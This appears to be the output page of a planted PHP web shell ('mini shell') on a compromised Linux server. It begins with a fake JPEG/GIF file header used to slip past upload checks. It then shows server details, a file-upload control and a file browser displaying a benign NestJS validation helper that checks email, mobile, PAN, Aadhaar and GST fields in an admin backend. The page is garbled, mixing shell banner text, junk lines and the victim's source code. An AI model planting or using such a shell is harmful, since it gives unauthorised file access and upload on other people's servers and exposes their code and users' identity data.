ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/talentgenesis_admin_backend/src/helpers/validation/
Upload File :
Current File : /var/www/talentgenesis_admin_backend/src/helpers/validation/key-validation.ts

import { Injectable } from '@nestjs/common';
import * as CryptoJS from 'crypto-js';
import { createHash, Cipher, createCipheriv, createDecipheriv, createHmac } from 'crypto';





@Injectable()
export class KeyValidation {
    

    entityOnevalidation({ entityTypeId, companyName, emailDec, mobileDec, mobileNoVerify, panNoDec,
        panNoVerify, aadharNoDec, aadharNoVerify, gstNoDec, gstNoVerify, address, stateId, cityId, pinCode,
        partnerOneContactPersonName,
        partnerOneMobileNoDec,
        partnerOneMobileNoVerify,
        partnerOneAlternateMobileNoDec,
        partnerOneEmailIdDec,
        partnerOnePanNoDec,
        partnerOnePanNoVerify,
        partnerOneAadharNoDec,
        partnerOneAadharNoVerify,
        partnerTwoContactPersonName,
        partnerTwoMobileNoDec,
        partnerTwoMobileNoVerify,
        partnerTwoAlternateMobileNoDec,
        partnerTwoEmailIdDec,
        partnerTwoPanNoDec,
        partnerTwoPanNoVerify,
        partnerTwoAadharNoDec,
        partnerTwoAadharNoVerify
    }) {

        const fields = {
            'companyName': companyName,
            'email': emailDec,
            'mobileNo': mobileDec,
            'mobileNoVerify': mobileNoVerify,
            'panNo': panNoDec,
            'panNoVerify': panNoVerify,
            'aadharNo': aadharNoDec,
            'aadharNoVerify': aadharNoVerify,
            'gstNo': gstNoDec,
            'gstNoVerify': gstNoVerify,
            'address': address,
            'stateId': stateId,
            'cityId': cityId,
            'pinCode': pinCode,
            'partnerOneContactPersonName': partnerOneContactPersonName,
            'partnerOneMobileNo': partnerOneMobileNoDec,
            'partnerOneMobileNoVerify': partnerOneMobileNoVerify,
            'partnerOneEmailId': partnerOneEmailIdDec,
            'partnerOnePanNo': partnerOnePanNoDec,
            'partnerOnePanNoVerify': partnerOnePanNoVerify,
            'partnerOneAadharNo': partnerOneAadharNoDec,
            'partnerOneAadharNoVerify': partnerOneAadharNoVerify,
            'partnerTwoContactPersonName': partnerTwoContactPersonName,
            'partnerTwoMobileNo': partnerTwoMobileNoDec,
            'partnerTwoMobileNoVerify': partnerTwoMobileNoVerify,
            'partnerTwoEmailId': partnerTwoEmailIdDec,
            'partnerTwoPanNo': partnerTwoPanNoDec,
            'partnerTwoPanNoVerify': partnerTwoPanNoVerify,
            'partnerTwoAadharNo': partnerTwoAadharNoDec,
            'partnerTwoAadharNoVerify': partnerTwoAadharNoVerify,
            'partnerOneAlternateMobileNo': partnerOneAlternateMobileNoDec,
            'partnerTwoAlternateMobileNo': partnerTwoAlternateMobileNoDec,
        };

        const errors = [];
        const uniqueEmails = {};
        const uniqueMobileNos = {};
        const uniquePANs = {};
        const uniqueAadharNos = {};

        for (const [field, value] of Object.entries(fields)) {
            if (value === undefined || value === null || value === '') {
                if (field === 'partnerOneAlternateMobileNo' || field === 'partnerTwoAlternateMobileNo') {
                    // If the field is optional and not provided, continue to the next field
                    continue;
                }
                errors.push(`${field} cannot be empty`);
            } else if (field === 'email' || field === 'partnerOneEmailId' || field === 'partnerTwoEmailId') {
                if (!isValidEmail(value)) {
                    errors.push(`Please enter a valid email address for ${field}`);
                } else if (uniqueEmails[value]) {
                    errors.push(`${field} ${value} must be unique`);
                } else {
                    uniqueEmails[value] = true;
                }
            } else if (field === 'mobileNo' || field === 'partnerOneMobileNo' || field === 'partnerTwoMobileNo' ||
                field === 'partnerOneAlternateMobileNo' || field === 'partnerTwoAlternateMobileNo') {
                if (!isValidMobile(value)) {
                    errors.push(`Please enter a valid mobile number for ${field}`);
                } else if (uniqueMobileNos[value]) {
                    errors.push(`${field} number ${value} must be unique`);
                } else {
                    uniqueMobileNos[value] = true;
                }
            } else if (field === 'panNo' || field === 'partnerOnePanNo' || field === 'partnerTwoPanNo') {
                if (uniquePANs[value]) {
                    errors.push(`${field} number ${value} must be unique`);
                } else {
                    uniquePANs[value] = true;
                }
            } else if (field === 'aadharNo' || field === 'partnerOneAadharNo' || field === 'partnerTwoAadharNo') {
                if (uniqueAadharNos[value]) {
                    errors.push(`${field} ${value} must be unique`);
                } else {
                    uniqueAadharNos[value] = true;
                }
            }
        }

        if (errors.length > 0) {
            return {
                success: false,
                errors: errors
            };
        } else {
            return {
                success: true,
                message: 'Validation successful'
            };
        }
    }

    entityTwovalidation({ entityTypeId, companyName, contactPersonalName, yearOfGap, emailDec, mobileDec, mobileNoVerify, alterateMobileNoDec, panNoDec,
        panNoVerify, aadharNoDec, aadharNoVerify, gstNoDec, gstNoVerify, address, stateId, cityId, pinCode
    }) {

        const fields = {
            'companyName': companyName,
            'contactPersonalName': contactPersonalName,
            'yearOfGap': yearOfGap,
            'email': emailDec,
            'mobileNo': mobileDec,
            'mobileNoVerify': mobileNoVerify,
            'alterateMobileNo': alterateMobileNoDec,
            'panNo': panNoDec,
            'panNoVerify': panNoVerify,
            'aadharNo': aadharNoDec,
            'aadharNoVerify': aadharNoVerify,
            'gstNo': gstNoDec,
            'gstNoVerify': gstNoVerify,
            'address': address,
            'stateId': stateId,
            'cityId': cityId,
            'pinCode': pinCode,

        };

        // const errors = [];
        // for (const [field, value] of Object.entries(fields)) {
        //     if (!value) {
        //         errors.push(`${field} cannot be empty`);
        //     } else if (field === 'email') {
        //         const emailRegex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
        //         if (!emailRegex.test(value)) {
        //             errors.push('Please enter a valid email address');
        //         }
        //     }else if(field==='mobileNo'){
        //         const mobileRegex =/^(?:(?:\+|0{0,2})91(\s*[\-]\s*)?|[0]?)?[7896]\d{9}$/;
        //         if (!mobileRegex.test(value)) {
        //             errors.push('Please enter a valid mobile number');
        //           }
        //     }else if (field === 'partnerOneEmailId') {
        //         const emailRegex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
        //         if (!emailRegex.test(value)) {
        //             errors.push('Please enter a valid email address');
        //         }
        //     }else if(field==='partnerOneMobileNo'){
        //         const mobileRegex =/^(?:(?:\+|0{0,2})91(\s*[\-]\s*)?|[0]?)?[7896]\d{9}$/;
        //         if (!mobileRegex.test(value)) {
        //             errors.push('Please enter a valid mobile number');
        //           }
        //     }else if (field === 'partnerTwoEmailId') {
        //         const emailRegex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
        //         if (!emailRegex.test(value)) {
        //             errors.push('Please enter a valid email address');
        //         }
        //     }else if(field==='partnerTwoMobileNo'){
        //         const mobileRegex =/^(?:(?:\+|0{0,2})91(\s*[\-]\s*)?|[0]?)?[7896]\d{9}$/;
        //         if (!mobileRegex.test(value)) {
        //             errors.push('Please enter a valid mobile number');
        //           }
        //     }
        // }
        // if (errors.length > 0) {
        //     return {
        //         success: false,
        //         errors: errors
        //     };
        // } else {
        //     return {
        //         success: true,
        //         message: 'Validation successful'
        //     };
        // }
        // }

        const errors = [];
        const uniqueMobileNos = {};

        for (const [field, value] of Object.entries(fields)) {
            if (value === undefined || value === null || value === '') {
                if (field === 'alterateMobileNo') {
                    // If the field is optional and not provided, continue to the next field
                    continue;
                }
                errors.push(`${field} cannot be empty`);
            } else if (field === 'email') {
                if (!isValidEmail(value)) {
                    errors.push(`Please enter a valid email address for ${field}`);
                }
            } else if (field === 'mobileNo' || field === 'alterateMobileNo') {
                if (!isValidMobile(value)) {
                    errors.push(`Please enter a valid mobile number for ${field}`);
                } else if (uniqueMobileNos[value]) {
                    errors.push(`${field} number ${value} must be unique`);
                } else {
                    uniqueMobileNos[value] = true;
                }
            }
        }

        if (errors.length > 0) {
            return {
                success: false,
                errors: errors
            };
        } else {
            return {
                success: true,
                message: 'Validation successful'
            };
        }
    }


    savingsAccOnevalidation({   firstName,lastName,emailDec,mobileDec,altMobileNoDec,panNoDec,addressLine1,stateId,cityId,pinCode
        
        
    }) {

        const fields = {
            'firstName':firstName,
            'lastName':lastName,
            'email': emailDec,
            'mobileNo': mobileDec,
            'altMobileNoDec': altMobileNoDec,
            'panNoDec':panNoDec,
            'addressLine1':addressLine1,
            'stateId': stateId,
            'cityId': cityId,
            'pinCode': pinCode,

           
            };

        const errors = [];
        const uniqueEmails = {};
        const uniqueMobileNos = {};
       

        for (const [field, value] of Object.entries(fields)) {
            if (value === undefined || value === null || value === '') {
                if (field === 'altMobileNoDec') {
                    // If the field is optional and not provided, continue to the next field
                    continue;
                }
                errors.push(`${field} cannot be empty`);
            } else if (field === 'email' ) {
                if (!isValidEmail(value)) {
                    errors.push(`Please enter a valid email address for ${field}`);
                } else if (uniqueEmails[value]) {
                    errors.push(`${field} ${value} must be unique`);
                } else {
                    uniqueEmails[value] = true;
                }
            } else if (field === 'mobileNo' || field === 'altMobileNoDec') {
                if (!isValidMobile(value)) {
                    errors.push(`Please enter a valid mobile number for ${field}`);
                } else if (uniqueMobileNos[value]) {
                    errors.push(`${field} number ${value} must be unique`);
                } else {
                    uniqueMobileNos[value] = true;
                }
            }
        }

        if (errors.length > 0) {
            return {
                success: false,
                errors: errors
            };
        } else {
            return {
                success: true,
                message: 'Validation successful'
            };
        }
    }

    savingsAccTwovalidation({  firstName,lastName,emailDec,mobileDec,altMobileNoDec,panNoDec,addressLine1,stateId,cityId,pinCode,
        maritalStatus,fatherSpouseName,employeeType,incomePerMonth,
        nomineeFirstName,nomineeLastName,nomineeEmailDec,nomineeMobileDec,nomineeAltMobileNoDec,nomineeAddressLine1,
        nomineeStateId,nomineeCityId,nomineePinCode 
    }) {

        const fields = {
            'firstName':firstName,
            'lastName':lastName,
            'email': emailDec,
            'mobileNo': mobileDec,
            'altMobileNoDec': altMobileNoDec,
            'panNoDec':panNoDec,
            'addressLine1':addressLine1,
            'stateId': stateId,
            'cityId': cityId,
            'pinCode': pinCode,
            'maritalStatus': maritalStatus,
            'fatherSpouseName': fatherSpouseName,
            'employeeType': employeeType,
            'incomePerMonth': incomePerMonth,
            'nomineeFirstName':nomineeFirstName,
            'nomineeLastName':nomineeLastName,
            'nomineeEmailDec': nomineeEmailDec,
            'nomineeMobileDec': nomineeMobileDec,
            'nomineeAltMobileNoDec': nomineeAltMobileNoDec,
            'nomineeAddressLine1':nomineeAddressLine1,
            'nomineeStateId': nomineeStateId,
            'nomineeCityId': nomineeCityId,
            'nomineePinCode': nomineePinCode,
            };

        const errors = [];
        const uniqueEmails = {};
        const uniqueMobileNos = {};
    

        for (const [field, value] of Object.entries(fields)) {
            if (value === undefined || value === null || value === '') {
                if (field === 'altMobileNoDec' || field === 'nomineeAltMobileNoDec') {
                    // If the field is optional and not provided, continue to the next field
                    continue;
                }
                errors.push(`${field} cannot be empty`);
            } else if (field === 'email' || field === 'nomineeEmailDec') {
                if (!isValidEmail(value)) {
                    errors.push(`Please enter a valid email address for ${field}`);
                } else if (uniqueEmails[value]) {
                    errors.push(`${field} ${value} must be unique`);
                } else {
                    uniqueEmails[value] = true;
                }
            } else if (field === 'mobileNo' || field === 'altMobileNoDec' || field === 'nomineeMobileDec' ||
                field === 'nomineeAltMobileNoDec') {
                if (!isValidMobile(value)) {
                    errors.push(`Please enter a valid mobile number for ${field}`);
                } else if (uniqueMobileNos[value]) {
                    errors.push(`${field} number ${value} must be unique`);
                } else {
                    uniqueMobileNos[value] = true;
                }
            }
        }

        if (errors.length > 0) {
            return {
                success: false,
                errors: errors
            };
        } else {
            return {
                success: true,
                message: 'Validation successful'
            };
        }
    }

    enquiryCreate({ email, mobileNo}) {

        const fields = {
            'email': email,
            'mobileNo': mobileNo,
           
        };

        const errors = [];
        const uniqueEmails = {};
        const uniqueMobileNos = {};
        const uniquePANs = {};
        const uniqueAadharNos = {};

        for (const [field, value] of Object.entries(fields)) {
            if (value === undefined || value === null || value === '') {
                errors.push(`${field} cannot be empty`);
            } else if (field === 'email' ) {
                if (!isValidEmail(value)) {
                    errors.push(`Please enter a valid email address for ${field}`);
                } 
            } else if (field === 'mobileNo' ) {
                if (!isValidMobile(value)) {
                    errors.push(`Please enter a valid mobile number for ${field}`);
                } 
            }  
        }

        if (errors.length > 0) {
            return {
                success: false,
                errors: errors
            };
        } else {
            return {
                success: true,
                message: 'Validation successful'
            };
        }
    }

    letsconnectCreate({ workemail, phoneno}) {

        const fields = {
            'email': workemail,
            'mobileNo': phoneno,
           
        };

        const errors = [];
        const uniqueEmails = {};
        const uniqueMobileNos = {};
        const uniquePANs = {};
        const uniqueAadharNos = {};

        for (const [field, value] of Object.entries(fields)) {
            if (value === undefined || value === null || value === '') {
                errors.push(`${field} cannot be empty`);
            } else if (field === 'email' ) {
                if (!isValidEmail(value)) {
                    errors.push(`Please enter a valid email address for ${field}`);
                } 
            } else if (field === 'mobileNo' ) {
                if (!isValidMobile(value)) {
                    errors.push(`Please enter a valid mobile number for ${field}`);
                } 
            }  
        }

        if (errors.length > 0) {
            return {
                success: false,
                errors: errors
            };
        } else {
            return {
                success: true,
                message: 'Validation successful'
            };
        }
    }



}

function isValidEmail(email) {
    const emailRegex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
    return emailRegex.test(email);
}

function isValidMobile(mobile) {

    const mobileRegex = /^(?:(?:\+|0{0,2})91(\s*[\-]\s*)?|[0]?)?[7896]\d{9}$/;
    return mobileRegex.test(mobile);
}















xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST